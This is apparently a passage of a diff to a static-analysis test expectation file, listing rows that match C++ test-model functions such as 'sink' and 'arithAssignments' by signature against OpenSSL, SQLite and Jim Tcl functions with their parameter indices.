ssl3_get_cipher | 0 | +| stl.h:318:13:318:14 | at | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:318:13:318:14 | at | (unsigned int) | | ssl3_get_cipher | 0 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | deque | insert | 0 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | deque | insert | 1 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | forward_list | insert_after | 0 | @@ -545,6 +5941,13 @@ signatureMatches | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | list | assign | 1 | | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | vector | assign | 0 | | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | vector | assign | 1 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| stl.h:611:33:611:45 | unordered_set | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| stl.h:611:33:611:45 | unordered_set | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | | stl.h:623:36:623:47 | emplace_hint | (format_string,Args &&) | | format | 1 | | stl.h:623:36:623:47 | emplace_hint | (format_string,Args &&) | | format | 1 | | stl.h:627:12:627:17 | insert | (const_iterator,T &&) | deque | insert | 0 | @@ -569,84 +5972,9920 @@ signatureMatches | stl.h:678:33:678:38 | format | (format_string,Args &&) | | format | 1 | | stl.h:683:6:683:48 | same_signature_as_format_but_different_name | (format_string,Args &&) | | format | 0 | | stl.h:683:6:683:48 | same_signature_as_format_but_different_name | (format_string,Args &&) | | format | 1 | +| string.cpp:17:6:17:9 | sink | (const char *) | | BIO_gethostbyname | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Jim_StrDup | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | OPENSSL_LH_strhash | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Strsafe | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Symbol_new | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | UI_create_method | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | X509V3_parse_list | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | new_pkcs12_builder | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | opt_path_end | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | opt_progname | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | strhash | 0 | +| string.cpp:19:6:19:9 | sink | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| string.cpp:19:6:19:9 | sink | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| string.cpp:19:6:19:9 | sink | (CONF *,const char *) | | _CONF_new_section | 1 | +| string.cpp:19:6:19:9 | sink | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (DSO *,const char *) | | DSO_convert_filename | 1 | +| string.cpp:19:6:19:9 | sink | (DSO *,const char *) | | DSO_set_filename | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| string.cpp:19:6:19:9 | sink | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| string.cpp:19:6:19:9 | sink | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_add1_host | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_set1_host | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| string.cpp:19:6:19:9 | sink | (STANZA *,const char *) | | test_start_file | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_error_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_info_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_dup_error_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_dup_info_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509 *,const char *) | | x509_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| string.cpp:19:6:19:9 | sink | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | Configcmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | Configcmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | DES_crypt | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | DES_crypt | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | get_passwd | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | get_passwd | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | openssl_fopen | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | openssl_fopen | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_strglob | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_strglob | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | test_mk_file_path | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | test_mk_file_path | 1 | +| string.cpp:19:6:19:9 | sink | (int,const char *) | | BIO_meth_new | 1 | +| string.cpp:19:6:19:9 | sink | (lemon *,const char *) | | file_makename | 1 | +| string.cpp:19:6:19:9 | sink | (size_t *,const char *) | | next_protos_parse | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned long *,const char *) | | set_cert_ex | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned long *,const char *) | | set_name_ex | 1 | | string.cpp:20:6:20:9 | sink | (char) | | operator+= | 0 | | string.cpp:20:6:20:9 | sink | (char) | CComBSTR | Append | 0 | | string.cpp:20:6:20:9 | sink | (char) | CSimpleStringT | operator+= | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | PKCS12_init | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | pulldown_test_framework | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | tls1_alert_code | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | wait_until_sock_readable | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | PKCS12_init | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_tolower | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_toupper | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | pulldown_test_framework | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | tls1_alert_code | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | tls13_alert_code | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | wait_until_sock_readable | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | PKCS12_init | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_tolower | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_toupper | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | pulldown_test_framework | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | tls1_alert_code | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | tls13_alert_code | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | wait_until_sock_readable | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_STRING_type_new | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2bit | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2str | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Jim_ReturnCode | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Jim_SignalId | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2ln | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2obj | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2sn | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OSSL_trace_get_category_name | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | PKCS12_init | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Symbol_Nth | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_PURPOSE_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_TRUST_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_TRUST_get_by_id | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | evp_pkey_type2name | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_tolower | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_toupper | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | pulldown_test_framework | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_compileoption_get | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_errstr | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | tls1_alert_code | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | tls13_alert_code | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ENGINE *,int) | | 